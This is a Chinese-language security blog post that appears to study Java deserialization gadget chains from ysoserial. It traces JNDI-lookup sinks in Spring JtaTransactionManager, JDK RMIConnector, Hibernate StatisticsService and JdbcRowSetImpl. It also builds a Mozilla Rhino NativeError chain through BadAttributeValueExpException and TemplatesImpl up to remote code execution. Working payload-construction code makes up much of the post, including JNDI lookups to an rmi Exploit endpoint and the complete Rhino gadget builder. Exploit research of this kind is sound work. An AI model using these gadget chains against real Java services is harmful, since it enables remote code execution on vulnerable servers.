前言
看文章提到 ysoserial 里面的一条反序列化链,结果一看流程相当复杂,所以研究一下。
倒是没有什么新的知识。
org.springframework.transaction.jta.JtaTransactionManager(maven)
一个 readObject 可以直接触发 JNDI lookup 的类:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// Rely on default serialization; just initialize state after deserialization.
ois.defaultReadObject();
// Create template for client-side JNDI lookup.
this.jndiTemplate = new JndiTemplate();
// Perform a fresh lookup for JTA handles.
initUserTransactionAndTransactionManager();
initTransactionSynchronizationRegistry();
}
...
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
if (this.userTransaction == null) {
// Fetch JTA UserTransaction from JNDI, if necessary.
if (StringUtils.hasLength(this.userTransactionName)) {
this.userTransaction = lookupUserTransaction(this.userTransactionName);
this.userTransactionObtainedFromJndi = true;
}
else {
this.userTransaction = retrieveUserTransaction();
if (this.userTransaction == null && this.autodetectUserTransaction) {
// Autodetect UserTransaction at its default JNDI location.
this.userTransaction = findUserTransaction();
}
}
}
...
}
...
protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {
try {
if (logger.isDebugEnabled()) {
logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");
}
return getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
}
catch (NamingException ex) {
throw new TransactionSystemException(
"JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", ex);
}
}
...
public Object lookup(final String name) throws NamingException {
if (logger.isDebugEnabled()) {
logger.debug("Looking up JNDI object with name [" + name + "]");
}
Object result = execute(ctx -> ctx.lookup(name));
if (result == null) {
throw new NameNotFoundException(
"JNDI object with [" + name + "] not found: JNDI implementation returned null");
}
return result;
}
所以 payload 构造也很简单:
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
unserialize(serialize(jtaTransactionManager));
javax.management.remote.rmi.RMIConnector(JDK)
要配合能无参或以 Map/null 为参数调用任意方法的反序列化链使用,connect 方法可以触发 lookup:
public synchronized void connect(Map<String,?> environment) throws IOException {
...
RMIServer stub = (rmiServer!=null)?rmiServer:
findRMIServer(jmxServiceURL, usemap);
...
}
...
private RMIServer findRMIServer(JMXServiceURL directoryURL, Map<String, Object> environment) throws NamingException, IOException {
...
if (path.startsWith("/jndi/"))
return findRMIServerJNDI(path.substring(6,end), environment, isIiop);
...
}
...
private RMIServer findRMIServerJNDI(String jndiURL, Map<String, ?> env, boolean isIiop) throws NamingException {
...
InitialContext ctx = new InitialContext(EnvHelp.mapToHashtable(env));
Object objref = ctx.lookup(jndiURL);
...
}
payload 构造也很简单,理一下流程调试一下就好了:
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/jndi/rmi://127.0.0.1:1099/Exploit"); // 反射赋值
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
rmiConnector.connect();
org.hibernate.jmx.StatisticsService(maven)
要配合能以 String 为参数调用任意方法的反序列化链使用,setSessionFactoryJNDIName 方法会 lookup:
public void setSessionFactoryJNDIName(String sfJNDIName) {
this.sfJNDIName = sfJNDIName;
try {
final SessionFactory sessionFactory;
final Object jndiValue = new InitialContext().lookup( sfJNDIName );
...
}
...
}
实在太简单就不构造了。
com.sun.rowset.JdbcRowSetImpl(JDK)
要配合能无参调用任意方法的反序列化链使用,execute 会 lookup:
public void execute() throws SQLException {
this.prepare();
...
}
...
protected PreparedStatement prepare() throws SQLException {
this.conn = this.connect();
...
}
...
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
...
}
...
}
...
}
也很简单,不构建了。
org.mozilla.javascript.NativeError(maven)
一条相当复杂的反序列化链,可以利用包内类的 invoke 进行任意无参方法调用,有参方法调用可能也可以,但是要经过 Context 的 jsToJava 方法,更加麻烦,一般来说调用无参方法已经够了,可以利用 TemplatesImpl 类实现 RCE。
众所周知,JDK 里面有一个类 BadAttributeValueExpException,可以调用任意类的 toString 方法,而 NativeError 的 toString 方法正好有特殊的操作:
// NativeError.java
public String toString()
{
return js_toString(this);
}
...
private static String js_toString(Scriptable thisObj)
{
return getString(thisObj, "name")+": "+getString(thisObj, "message");
}
...
private static String getString(Scriptable obj, String id)
{
Object value = ScriptableObject.getProperty(obj, id);
...
}
...
// ScriptableObject.java
public static Object getProperty(Scriptable obj, String name)
{
Scriptable start = obj;
Object result;
do {
result = obj.get(name, start);
if (result != Scriptable.NOT_FOUND)
break;
obj = obj.getPrototype();
} while (obj != null);
return result;
}
...
// IdScriptableObject.java
public Object get(String name, Scriptable start)
{
...
return super.get(name, start);
}
...
// ScriptableObject.java
public Object get(String name, Scriptable start)
{
return getImpl(name, 0, start);
}
...
private Object getImpl(String name, int index, Scriptable start)
{
Slot slot = getSlot(name, index, SLOT_QUERY);
if (slot == null) {
return Scriptable.NOT_FOUND;
}
if (!(slot instanceof GetterSlot)) {
return slot.value;
}
Object getterObj = ((GetterSlot)slot).getter;
if (getterObj != null) {
if (getterObj instanceof MemberBox) {
MemberBox nativeGetter = (MemberBox)getterObj;
Object getterThis;
Object[] args;
if (nativeGetter.delegateTo == null) {
getterThis = start;
args = ScriptRuntime.emptyArgs;
} else {
getterThis = nativeGetter.delegateTo;
args = new Object[] { start };
}
return nativeGetter.invoke(getterThis, args);
} else {
Function f = (Function)getterObj;
Context cx = Context.getContext();
return f.call(cx, f.getParentScope(), start,
ScriptRuntime.emptyArgs);
}
}
...
}
可以看到,getImpl 方法里面有危险的操作,而 getterObj 是 Object 类型,来自 name 相对应的 slot 的 getter,是可控参数。所以 invoke 和 call 方法都有可能导致任意方法执行。我们先来看一下 invoke,执行的方法的参数是我们无法控制的,而且目标对象要继承 MemberBox,所以这里不是很好利用,最简单的利用方式是用来调用一个无参静态方法,因为反射调用静态方法是会忽略目标对象的。
然后再看看 call,能调用一个继承了 Function 接口的类的 call 方法,而 NativeJavaMethod 类正好用得上:
public Object call(Context cx, Scriptable scope, Scriptable thisObj, Object[] args) {
// Find a method that matches the types given.
...
int index = findFunction(cx, methods, args);
...
MemberBox meth = methods[index];
Class<?>[] argTypes = meth.argTypes;
if (meth.vararg) {
...
} else {
// First, we marshall the args.
Object[] origArgs = args;
for (int i = 0; i < args.length; i++) {
Object arg = args[i];
Object coerced = Context.jsToJava(arg, argTypes[i]);
if (coerced != arg) {
if (origArgs == args) {
args = args.clone();
}
args[i] = coerced;
}
}
}
Object javaObject;
if (meth.isStatic()) {
javaObject = null; // don't need an object
} else {
Scriptable o = thisObj;
Class<?> c = meth.getDeclaringClass();
for (;;) {
if (o == null) {
throw Context.reportRuntimeError3(
"msg.nonjava.method", getFunctionName(),
ScriptRuntime.toString(thisObj), c.getName());
}
if (o instanceof Wrapper) {
javaObject = ((Wrapper)o).unwrap();
if (c.isInstance(javaObject)) {
break;
}
}
o = o.getPrototype();
}
}
...
Object retval = meth.invoke(javaObject, args);
}
meth 来自 methods,findFunction 会返回 0,可控;args 是空,代表调用无参方法;javaObject 来自继承了 Wrapper 接口的对象的 unwrap 方法,而该对象又来自 thisObj,即 NativeError 的 getPrototype 方法:
public Scriptable getPrototype()
{
return prototypeObject;
}
要求继承了 Scriptable 接口,而且 unwrap 方法的返回可控,NativeJavaObject 类符合这个要求:
public Object unwrap() {
return javaObject;
}
至此,我们可以通过 call 调用任意类的无参函数,可以利用 TemplatesImpl RCE 了。但是构造的 payload 在反序列化时会发现一个问题,发生在 NativeJavaObject 的 initMembers 方法中:
// NativeJavaObject
protected void initMembers() {
...
members = JavaMembers.lookupClass(parent, dynamicType, staticType, isAdapter);
...
}
// JavaMembers
static JavaMembers lookupClass(Scriptable scope, Class<?> dynamicType, Class<?> staticType, boolean includeProtected)
{
...
scope = ScriptableObject.getTopLevelScope(scope);
ClassCache cache = ClassCache.get(scope);
...
}
// ClassCache
public static ClassCache get(Scriptable scope)
{
ClassCache cache = (ClassCache)ScriptableObject.getTopScopeValue(scope, AKEY);
...
}
// ScriptableObject
public static Object getTopScopeValue(Scriptable scope, Object key)
{
scope = ScriptableObject.getTopLevelScope(scope);
for (;;) {
if (scope instanceof ScriptableObject) {
ScriptableObject so = (ScriptableObject)scope;
Object value = so.getAssociatedValue(key);
if (value != null) {
return value;
}
}
scope = scope.getPrototype();
if (scope == null) {
return null;
}
}
}
简单来说,就是 NativeJavaObject 对象的 parent 成员的 associatedValues 这个 Map 中缺少键为 ClassCache 的值,需要修改 NativeJavaObject 的生成方式:
ScriptableObject nativeObject = (ScriptableObject)NativeErrorConstructor.newInstance();
(new ClassCache()).associate(nativeObject);
NativeJavaObject nativeJavaObject = new NativeJavaObject(nativeObject, getTemplatesImpl(), TemplatesImpl.class);
然后又会发现另一个问题:
Exception in thread "main" java.lang.RuntimeException: No Context associated with current Thread
追踪一下会发现问题出在这里:
// getImpl
Context cx = Context.getContext();
// getContext
Context cx = getCurrentContext();
// getCurrentContext
Object helper = VMBridge.instance.getThreadContextHelper();
return VMBridge.instance.getContext(helper);
简单来说,就是这个时候获取不到 JavaScript 上下文环境,所以要在调用 call 之前先 setContext。而 js_toString 正好有两个 getString,说明我们可以执行两次方法。我们先观察一下要怎么 setContext,可以发现 Context 的静态无参方法 enter 最后会有一个 setContext 的操作,所以我们只需要用 name 调用 enter,再用 message 调用 TemplatesImpl 即可。因为 prototypeObject 只能有一个,所以 enter 我们可以通过 getImpl 里面 MemberBox 的 invoke 方法来调用,最后的 payload:
// 构造 NativeError 来连接 toString
Constructor NativeErrorConstructor = Class.forName("org.mozilla.javascript.NativeError").getDeclaredConstructor();
NativeErrorConstructor.setAccessible(true);
ScriptableObject scriptableObject = (ScriptableObject)NativeErrorConstructor.newInstance();
// 通过 NativeJavaMethod 的 call 方法反射调用 newTransformer
Method newTransformerMethod = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").getDeclaredMethod("newTransformer");
NativeJavaMethod newTransformer = new NativeJavaMethod(newTransformerMethod, "message");
scriptableObject.setGetterOrSetter("message", 0, newTransformer, false);
// 先给 name 塞一个 getter,因为 setGetterOrSetter 设置的 getter 要继承 callable,后面再反射改掉
Method enterMethod = Context.class.getDeclaredMethod("enter");
NativeJavaMethod enter = new NativeJavaMethod(enterMethod, "name");
scriptableObject.setGetterOrSetter("name", 0, enter, false);
// 通过 MemberBox 的 invoke 调用 Context 的 enter,因为是静态方法所以反射调用的时候可以无视目标类
Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
memberboxClassConstructor.setAccessible(true);
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
// 反射获取 name 的 slot,再反射设置为 MemberBox
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
getSlot.setAccessible(true);
Object slot = getSlot.invoke(scriptableObject, "name", 0, 1);
setFieldValue(slot, "getter", memberboxClass);
// 利用 NativeJavaObject 的 unwrap 返回一个 TemplatesImpl 对象
ScriptableObject nativeObject = (ScriptableObject)NativeErrorConstructor.newInstance();
(new ClassCache()).associate(nativeObject);
NativeJavaObject nativeJavaObject = new NativeJavaObject(nativeObject, getTemplatesImpl(), TemplatesImpl.class);
// 设置 Prototype 为 NativeJavaObject
scriptableObject.setPrototype(nativeJavaObject);
// 连接 readObject 和 toString
BadAttributeValueExpException obj = new BadAttributeValueExpException(null);
setFieldValue(obj, "val", scriptableObject);
ysoserial 里面还有一个 MozillaRhino2 的payload,里面有详细的利用链,流程也不复杂,通过第一次反序列化调用的 readAdapterObject 里面的 in.readObject 反序列化第二个 NativeJavaObject,实现两次反射调用。暂时不研究了,留个坑。
参考文章:
https://www.anquanke.com/post/id/194384
https://codewhitesec.blogspot.com/2016/05/return-of-rhino-old-gadget-revisited.html
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!